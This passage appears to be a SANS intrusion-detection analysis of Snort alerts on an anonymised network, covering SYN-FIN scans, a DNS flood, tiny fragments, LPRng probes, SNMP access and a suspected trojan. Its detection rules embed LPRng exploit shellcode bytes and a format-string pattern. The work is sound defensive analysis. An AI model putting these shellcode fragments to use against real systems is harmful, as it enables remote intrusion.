- 5181 instances of Watchlist 000220 IL - ISDNNET-990517.

Lines above show many strange actions on the IP address MY.NET.202.94 and it will require further review.

3.2 SYN - FIN scan!

Event description: "A TCP probe was sent with the SYN+FIN flags set in the header. This traffic does not occur naturally and indicates an intentional probe, likely as a part of single-packet OS detection." (6)

SYN - FIN scan!	37 sources	27067 destinations

Top Source Hosts

#	Sources	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	211.34.40.1	17604	17604	17604	17604
2	195.56.182.206	9878	9878	9878	9878
3	194.234.48.26	8565	8565	8565	8565
4	147.8.182.157	4096	4096	4096	4096
5	194.204.334.131	3052	3052	3052	3052

Top Destination Hosts

#	Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	MY.NET.253.11	19	294	17	24
2	MY.NET.21.15	8	8	8	8
3	MY.NET.5.125	7	7	7	7
4	MY.NET.11.212	7	8	7	8
5	MY.NET.223.255	6	6	6	6

Snort rule:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN SYN FIN";flags:SF; reference:arachnids,198;)

The number of 27067 destinations shows that MY.NET has been seriously scanned. Most scanned ports were 21, 109 and 53. The lines below show one example of SYN-FIN scan on port 21.

```
12/12-06:11:20.503923  [**] SYN-FIN scan! [**] 132.68.37.141:21 -> MY.NET.4.249:21
12/12-06:11:20.763860  [**] SYN-FIN scan! [**] 132.68.37.141:21 -> MY.NET.5.7:21
12/12-06:11:20.784158  [**] SYN-FIN scan! [**] 132.68.37.141:21 -> MY.NET.5.8:21
12/12-06:11:20.864150  [**] SYN-FIN scan! [**] 132.68.37.141:21 -> MY.NET.5.12:21
12/12-06:11:20.884078  [**] SYN-FIN scan! [**] 132.68.37.141:21 -> MY.NET.5.13:21
```

3.3 DNS udp DoS attack described on unisog

DNS udp DoS attack described on unisog	8 sources	16 destinations

Top Source Hosts

#	Sources	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	209.67.50.203	16132	16132	3	3
2	209.67.50.253	4	4	1	1
3	209.67.50.85	3	3	2	2
4	209.67.50.209	2	2	2	2
5	209.67.50.241	2	2	1	1

Top Destination Hosts

#	Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	MY.NET.1.3	5411	5452	1	13
2	MY.NET.1.4	5390	5408	1	10
3	MY.NET.1.5	5331	5352	1	8
4	MY.NET.1.8	6	3219	4	31
5	MY.NET.1.10	6	1279	3	22

IP address 209.67.50.203 attacks DNS servers (MY.NET.1.3, MY.NET.1.4, MY.NET.1.5) with udp packets (rate of 60 per second). The lines below show some of the Snort records:
01/06-18:31:00.300393 [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:15835 -> MY.NET.1.4:53
01/06-18:31:01.544243 [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:16097 -> MY.NET.1.3:53
01/06-18:31:02.539097 [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:10054 -> MY.NET.1.4:53
01/06-18:31:02.586111 [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:4890 -> MY.NET.1.3:53
01/06-18:31:02.686219 [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:3638 -> MY.NET.1.4:53

I have found the rapport of DNS udp DoS on (6) and DNS udp packets repeated only 2 per second.

3.4 Tiny Fragments - Possible Hostile Activity

Event description: "With many IP implementations it is possible to impose an unusually small fragment size on outgoing packets. If the fragment size is made small enough to force some of a TCP packet's TCP header fields into the second fragment, filter rules that specify patterns for those fields will not match. If the filtering implementation does not enforce a minimum fragment size, a disallowed packet might be passed because it didn't hit a match in the filter." (7) The tiny fragment attack is designed to fool the IDS.

Tiny Fragments - Possible Hostile Activity	26 sources	12 destinations

Top Source Hosts

#	Sources	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	65.4.87.43	733	733	2	2
2	202.205.5.10	521	521	1	1
3	202.101.43.122	460	460	2	2
4	61.134.9.133	458	458	3	3
5	61.140.75.3	415	415	2	2

Top Destination Hosts

#	Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	MY.NET.1.8	3148	3219	17	31
2	MY.NET.1.10	1264	1279	14	22
3	MY.NET.217.162	727	733	1	6
4	MY.NET.60.11	168	1456	2	140
5	MY.NET.1.9	8	16	5	10

I'll point that some of the Tiny Fragments - Possible Hostile Activity took place at same time as DNS udp DoS attack and it shows the lines below.
01/06-19:14:50.459957 [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:8660 -> MY.NET.1.3:53
01/06-19:14:50.511252 [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:5889 -> MY.NET.1.3:53
01/06-19:14:50.672602 [**] Tiny Fragments - Possible Hostile Activity [**] 202.205.5.10 -> MY.NET.1.8
01/06-19:14:50.672647 [**] Tiny Fragments - Possible Hostile Activity [**] 202.205.5.10 -> MY.NET.1.8
01/06-19:14:50.702372 [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:29297 -> MY.NET.1.4:53
01/06-19:14:51.027301 [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:13164 -> MY.NET.1.4:53

It will require further review.

3.5 Connect to 515 from outside

Port 515/tcp uses to access to printer service ports and printing service is called LPRng. According to CVE-2000-0917 "Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands."

Connect to 515 from outside	9 sources	2876 destinations

Top Source Hosts

#	Sources	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	141.211.176.99	2236	2236	2195	2195
2	216.119.15.88	1273	1273	4	4
3	209.217.166.69	713	713	710	710
4	192.118.36.9	7	7	1	1
5	64.46.70.175	4	4	1	1

Top Destination Hosts

#	Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	MY.NET.100.209	405	405	1	1
2	MY.NET.99.104	403	406	1	4
3	MY.NET.130.86	259	260	2	3
4	MY.NET.214.166	209	211	3	5
5	MY.NET.20.1	7	10	1	4

The number of 2876 destinations shows that MY.NET has been scanned on port 515 and the first four destinations IP addresses, from table above, require further investigation.

Snort rules, which can detect LPRng exploits:
alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT LPRng overflow"; flags: A+; content: "/43 07 89 5B 08 8D 4B 08 89 43 0C B0 0B CD 80 31 C0 FE C0 CD 80 E8 94 FF FF FF 2F 62 69 6E 2F 73 68 0A/"; reference:bugtraq,1712;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT redhat 7.0 lprd overflow"; flags: A+; content:"|58 58 58 58 25 2E 31 37 32 75 25 33 30 30 24 6E|";)

Snort records:
[**] connect to 515 from outside [**] 141.211.176.99:4683 -> MY.NET.71.56:515
[**] connect to 515 from outside [**] 141.211.176.99:4719 -> MY.NET.71.90:515
[**] connect to 515 from outside [**] 141.211.176.99:4732 -> MY.NET.71.103:515
[**] connect to 515 from outside [**] 141.211.176.99:4873 -> MY.NET.71.244:515
[**] connect to 515 from outside [**] 141.211.176.99:1714 -> MY.NET.75.35:515

4. Other Alerts of Interest

4.1 SNMP public access

The Simple Network Management Protocol (SNMP) is used for monitoring routers, switches and other network elements (UDP port 161). For authentication, SNMP is using community strings. Default SNMP community strings, set to "public" and "private", are frequently used. SNMP public access is one of the Top Ten Internet Security Threats. (8)

SNMP public access	20 sources	7 destinations

Top Source Hosts

#	Sources	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	128.46.156.231	161	161	3	3
2	MY.NET.97.244	74	74	1	1
3	MY.NET.162.201	71	71	1	1
4	MY.NET.97.155	60	60	1	1
5	MY.NET.98.134	40	40	1	1

Top Destination Hosts

#	Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	MY.NET.101.192	316	374	14	15
2	MY.NET.100.99	104	106	1	3
3	MY.NET.50.154	94	94	3	3
4	MY.NET.100.143	36	37	1	2
5	MY.NET.100.206	21	22	1	2

Snort rule:
alert udp any any -> $HOME_NET 161 (msg: "SNMP public access"; content:"public";)

IP address targeted three computers on MY.NET (MY.NET.100.99, MY.NET.100.143 and MY.NET.100.206) and the next lines shows some Snort records.
…
01/12-09:56:42.477347 [**] SNMP public access [**] 128.46.156.231:2159 -> MY.NET.100.206:161
01/12-09:56:43.001464 [**] SNMP public access [**] 128.46.156.231:2163 -> MY.NET.100.143:161
01/12-09:56:48.423324 [**] SNMP public access [**] 128.46.156.231:2168 -> MY.NET.100.99:161
01/12-09:56:50.337560 [**] SNMP public access [**] 128.46.156.231:2171 -> MY.NET.100.99:161
01/12-09:56:53.542213 [**] SNMP public access [**] 128.46.156.231:2173 -> MY.NET.100.99:161
…

For this alert, there are 20 sources and 7 destinations and it's something odd. It must be opposite, i.e. more destinations than sources and it means there are always more network elements than network management stations.

It will require further investigation.

4.2 Russia Dynamo - SANS Flash 28-jul-00

The SANS Institute wrote:
"SANS Flash Report: Trojans Sending More Data To Russia
July 28, 2000, 6:20 pm, EDT

This is preliminary information. The GIAC (Global Incident Analysis Center) has received several submissions showing large amounts of data being sent, illegitimately, from Windows 98 machines to a Russian IP address (194.87.6.X). The cause is most probably a Trojan, but whatever it is, it is moving fast."

Top Source Hosts

#	Sources	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	MY.NET.205.138	442	442	1	1
2	194.87.6.38	104	104	1	1

Top Destination Hosts

#	Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	194.87.6.38	442	442	1	1
2	MY.NET.205.138	104	108	1	1

The lines below come from Snort and we can see traffic in both directions.

…
12/08-16:08:54.086006 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] 194.87.6.38:2478 -> MY.NET.205.138:6699
12/08-16:08:56.777675 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:08:57.590220 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:08:59.189855 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] 194.87.6.38:2478 -> MY.NET.205.138:6699
12/08-16:08:59.672791 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:09:00.315359 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] 194.87.6.38:2478 -> MY.NET.205.138:6699
12/08-16:09:01.419429 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:09:01.419771 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:09:01.900908 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:09:01.901472 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:09:02.217496 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] 194.87.6.38:2478 -> MY.NET.205.138:6699
12/08-16:09:03.692655 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:09:05.164572 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:09:14.532328 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] 194.87.6.38:2478 -> MY.NET.205.138:6699
12/08-16:09:18.221557 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478
12/08-16:09:20.714259 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] MY.NET.205.138:6699 -> 194.87.6.38:2478

12/08-16:09:24.108584 [**] Russia Dynamo - SANS Flash 28-jul-00 [**]
MY.NET.205.138:6699 -> 194.87.6.38:2478
…

It is an evidence that computer MY.NET.205.138 was probably infected with Trojan.

4.3 Broadcast Ping to subnet 70

Event description: "ICMP messages to broadcast addresses are allowed, allowing for a Smurf attack that can cause a denial of service." (9)

Top Source Hosts

#	Sources	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	213.154.131.131	52	52	1	1
2	194.102.93.101	26	26	1	1
3	193.231.220.91	17	17	1	1
4	193.231.220.137	12	12	1	1
5	193.231.220.238	8	8	1	1

Top Destination Hosts

#	Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
1	MY.NET.70.255	151	153	23	25

Detailed analyze of the summary field (SnortSnarf) shows that 2 different signatures are present for MY.NET.70.255 as a destination:
- 2 instances of SYN-FIN scan!
- 151 instances of Broadcast Ping to subnet 70.

I don't know addressing scheme and all net masks on MY.NET. If MY.NET.70.255 is a broadcast address, this net possibly would be used as a smurf amplifier. If not, MY.NET.70.255 requires further investigation. For example, Loki traffic, which is using for covering the tracks, looks like ICMP traffic.

4.4 Back Orifice

Back orifice is well known backdoor, with many versions. Old Back Orifice port was UDP 31337, but today Back Orifice hasn't default port.

All alerts under this headline require further investigation.

4.5 Attempt Sun RPC high port access, SUNRPC highport access and External RPC call

"Sun's Remote Procedure Call (RPC) protocol [Sun Microsystems, 1988, 1990} underlies many of the new services. Unfortunately, many of these services represent potential security problems " (10)

Remote Procedure Calls is, also, one of the Top Ten Internet Security Threats. (8)

All alerts under this headline require further investigation.

Conclusion

From the Table 1, we can see many signatures and they can cover one attack scenario, i.e. reconnaissance, penetration and denial of service.

MY.NET scanned heavily and the most popular scan was "SYN - FIN scan".

There are many signs that traffic on MY.NET was probably gnutella related.

On MY.NET, there are many examples of strange traffic, like Tiny Fragments, Connect to 515 from outside and inside, SNMP public access, RPC traffic. It will require further investigation.

Russia Dynamo - SANS Flash 28-jul-00 is one example that MY.NET has computer infected probably with "Trojans Sending More Data To Russia".

"DNS udp DoS attack described on unisog" and "Broadcast Ping to subnet 70" are examples of Denoal of Service attacks on MY.NET.

Resources and References

(1) http://www.sans.org/giactc/GCIA_assignment.htm#7
(2) http://www.sans.org/y2k/052000.htm
(3) http://www.gnutella.co.uk/about/
(4) http://gnutella.nerdherd.net/tutorial.htm
(5) http://www.whitehats.com/info/IDS198
(6) http://www.theorygroup.com/Archive/Unisog/2001/msg00067.html
(7) www.cs.technion.ac.il/Labs/Lccn/projects/spring98/firewall1/public_html/details.html
(8) http://www.sans.org/topten.htm
(9) http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0513
(10) (Firewalls and Internet Security, Repelling the Wily Hacker, William R. Cheswick, Steven M. Belovin, Addison - Wesley Publishing Company)

Last Updated: January 21st, 2019

Upcoming Training

SANS Security East 2019	New Orleans, LA	Feb 02, 2019 - Feb 09, 2019	Live Event
Security East 2019 - SEC503: Intrusion Detection In-Depth	New Orleans, LA	Feb 04, 2019 - Feb 09, 2019	vLive
SANS Northern VA Spring- Tysons 2019	Tysons, VA	Feb 11, 2019 - Feb 16, 2019	Live Event
SANS London February 2019	London, United Kingdom	Feb 11, 2019 - Feb 16, 2019	Live Event
SANS New York Metro Winter 2019	Jersey City, NJ	Feb 18, 2019 - Feb 23, 2019	Live Event
SANS Scottsdale 2019	Scottsdale, AZ	Feb 18, 2019 - Feb 23, 2019	Live Event
SANS vLive - SEC503: Intrusion Detection In-Depth	SEC503 - 201902,	Feb 27, 2019 - Apr 04, 2019	vLive
SANS San Francisco Spring 2019	San Francisco, CA	Mar 11, 2019 - Mar 16, 2019	Live Event
SANS Madrid March 2019	Madrid, Spain	Mar 25, 2019 - Mar 30, 2019	Live Event
SANS 2019	Orlando, FL	Apr 01, 2019 - Apr 08, 2019	Live Event
Blue Team Summit & Training 2019	Louisville, KY	Apr 11, 2019 - Apr 18, 2019	Live Event
SANS Riyadh April 2019	Riyadh, Kingdom Of Saudi Arabia	Apr 13, 2019 - Apr 18, 2019	Live Event
Community SANS New York SEC503	New York, NY	Apr 29, 2019 - May 04, 2019	Community SANS
SANS Security West 2019	San Diego, CA	May 09, 2019 - May 16, 2019	Live Event
SANS Northern VA Spring- Reston 2019	Reston, VA	May 19, 2019 - May 24, 2019	Live Event
SANS Amsterdam May 2019	Amsterdam, Netherlands	May 20, 2019 - May 25, 2019	Live Event
SANS San Antonio 2019	San Antonio, TX	May 28, 2019 - Jun 02, 2019	Live Event
San Antonio 2019 - SEC503: Intrusion Detection In-Depth	San Antonio, TX	May 28, 2019 - Jun 02, 2019	vLive
SANS London June 2019	London, United Kingdom	Jun 03, 2019 - Jun 08, 2019	Live Event
SANSFIRE 2019	Washington, DC	Jun 15, 2019 - Jun 22, 2019	Live Event
Security Operations Summit & Training 2019	New Orleans, LA	Jun 24, 2019 - Jul 01, 2019	Live Event
SANS Paris July 2019	Paris, France	Jul 01, 2019 - Jul 06, 2019	Live Event
SANS Rocky Mountain 2019	Denver, CO	Jul 15, 2019 - Jul 20, 2019	Live Event
SANS Columbia 2019	Columbia, MD	Jul 15, 2019 - Jul 20, 2019	Live Event
SANS Boston Summer 2019	Boston, MA	Jul 29, 2019 - Aug 03, 2019	Live Event
SANS Chicago 2019	Chicago, IL	Aug 19, 2019 - Aug 24, 2019	Live Event
SANS Copenhagen August 2019	Copenhagen, Denmark	Aug 26, 2019 - Aug 31, 2019	Live Event
SANS Network Security 2019	Las Vegas, NV	Sep 09, 2019 - Sep 16, 2019	Live Event
SANS Oslo September 2019	Oslo, Norway	Sep 09, 2019 - Sep 14, 2019	Live Event
SANS London September 2019	London, United Kingdom	Sep 23, 2019 - Sep 28, 2019	Live Event
SANS OnDemand	Online	Anytime	Self Paced